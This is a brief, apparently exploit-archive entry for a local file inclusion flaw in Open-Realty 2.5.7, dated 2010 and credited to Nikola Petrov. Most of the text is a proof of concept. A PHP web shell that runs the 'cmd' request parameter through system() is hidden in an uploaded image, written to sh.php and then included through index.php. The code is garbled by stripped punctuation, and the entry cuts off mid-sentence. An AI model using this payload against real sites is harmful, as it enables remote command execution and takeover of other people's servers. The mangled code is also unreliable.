Open-Realty 2.5.7 - Local File Disclosure Vulnerability

No description provided by source. ?php / Exploit Title: Date: 2010-08-18 Author: Nikola Petrov Vendor: http://open-realty.org/ Version: 2.5.7 / / vulnerable: Open-Realty 2.5.7 LFI: /index.php upload image with: ?php systemecho ?php ifisset$GET\cmd\ system$GET\cmd; ?\ sh.php; ? include the...